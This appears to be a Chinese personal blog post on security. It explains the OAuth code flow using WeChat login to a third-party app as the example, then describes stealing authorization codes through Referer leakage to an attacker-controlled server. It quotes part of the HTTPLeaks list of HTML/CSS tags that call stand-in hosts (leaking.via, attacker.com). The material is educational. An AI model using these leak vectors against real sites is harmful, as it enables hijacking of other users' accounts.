账户安全权限管理

Oauth

随着各类web应用层出不穷,为了让权限管理和访问控制更方便,引入了oauth体系,我们在访问应用时可以通过第三方应用授权来登录,如微信支付宝登录。

用户点击登录
 //
 告诉login页面我要用第三方平台上你
 然后这个login页面就会回答你:
 好的你去跟老大哥说下吧,你要告诉这个地址三件事:
 1.是我让你来的 client_id
 
 2.用code授权模式
 
 3.redirect_url 是你最终要访问的应用

在登陆页面,当你扫码的时候其实是来到了open.weixin.qq.com这个域名来进行oauth认证

我们扫码,他就会访问这个连接,然后用burp拦截包看看

首先会发一个向微信的连接请求,带有uuid(前面说的client_id),因为是小程序所以没有redirect_url???

现在已经告诉这个第三方平台你的目的了,然后他会告诉你让你去登录

反映在微信界面上就是,有小程序登录,请问你是否准许(因为微信已经登录,所以不需要第三方登录这一环节。细化来看,这一步应该还有去登录界面登录,并告诉他你是从oauth界面来的,你登陆后要跳转过去。并用你登录的token向oauth页面要你的code)

点击确认后,就会拿到一个code

然后用这个code去请求你的redirect_url就是前面说的最终要访问的应用

这个dweb2/load?code=**

就会去访问他的api,并且在这个时候微信服务器和知识星球服务器之间就会通信

知识星球:欸老哥,这个code是你批的吗?

微信:废批话,这就是老子批的

知识星球:哦哦哦,好的哥!我这就授权

然后api就会给你授权的cookie你就有权限了

危害

当然,只要是应用,就可以利用,哇咔咔

我们前文已经说了,最终的应用是由redirect_url决定的,尽管有同源限制,但搞安全的人啥时候怕过限制??

想想咋个在域内把数据拿出来

我们尝试在不跨域的情况下访问域内文件,是可以的。大但想象,这有啥用??

万一这个域内有个文件,里面有个图片是我们恶意服务器上的文件,或者有个src指向我们的服务器,那么

在我们redirect回来到这个页面的时候,他就会去访问我们的恶意服务器,并在referer头里带上刚才我们的这个code,应为这个code是放在url里的。

哇咔咔

咱们的服务器就能通过这个拿到code!然后用这个code去访问授权界面拿到别的用户的权限!!!

还有………

​ 安全的问题在于权限的问题,信任的问题,以前我总是想,谁都在搞漏洞挖掘,那有一天洞挖完了咱是不是就没饭吃了啊。。。。现在想想,的确,随着安全研究的加深,以前的传统型漏洞防御会越来越多,waf会越来越变态。但漏洞绝对不会越来越少,而是会随着安全博弈的加剧,而越来越多,会随着更多的应用,更多的协议而越来越多。安全不是研究技巧的学科而是研究艺术的学科,而且我认为随着厂商的重视,这个圈子的生态会越来越好

Security is not a tech,it's an art.

Http-Leek

https://github.com/cure53/HTTPLeaks/blob/master/leak.html

<style>
    @import 'https://leaking.via/css-import-string';
    @import url(https://leaking.via/css-import-url);
</style>
<style>{background:url(http://attacker.com/x)}</style>	

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <feImage xlink:href="https://leaking.via/svg-feimage" />
</svg>


<link rel="alternate stylesheet" href="https://leaking.via/link-alternate-stylesheet" />
<html xmlns="http://www.w3.org/1999/xhtml" manifest="https://leaking.via/html-manifest">

<head profile="https://leaking.via/head-profile">
<link rel="stylesheet" href="https://leaking.via/link-stylesheet" />
<link rel="icon" href="https://leaking.via/link-icon" />
<link rel="canonical" href="https://leaking.via/link-canonical" />
<link rel="shortcut icon" href="https://leaking.via/link-shortcut-icon" />
<link rel="import" href="https://leaking.via/link-import" />
<link rel="dns-prefetch" href="https://leaking.via/link-dns-prefetch" />
<link rel="preconnect" href="https://leaking.via/link-preconnect">
<link rel="prefetch" href="https://leaking.via/link-prefetch" />
<link rel="preload" href="https://leaking.via/link-preload" />
<link rel="prerender" href="https://leaking.via/link-prerender" />

<link rel="preload" as="font" href="https://leaking.via/link-preload-as-font" />
<link rel="preload" as="image" href="https://leaking.via/link-preload-as-image" />
<link rel="preload" as="image" imagesrcset=",,,,,https://leaking.via/link-preload-imagesrcset" />
<link rel="preload" as="style" href="https://leaking.via/link-preload-as-style" />
<link rel="preload" as="script" href="https://leaking.via/link-preload-as-script" />

<link rel="search" href="https://leaking.via/link-search" />

其中



<style>{background:url(http://attacker.com/x)}</style>

这个就是Sm1le师傅说的css选择器窃取数据的方法


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

django_learn Previous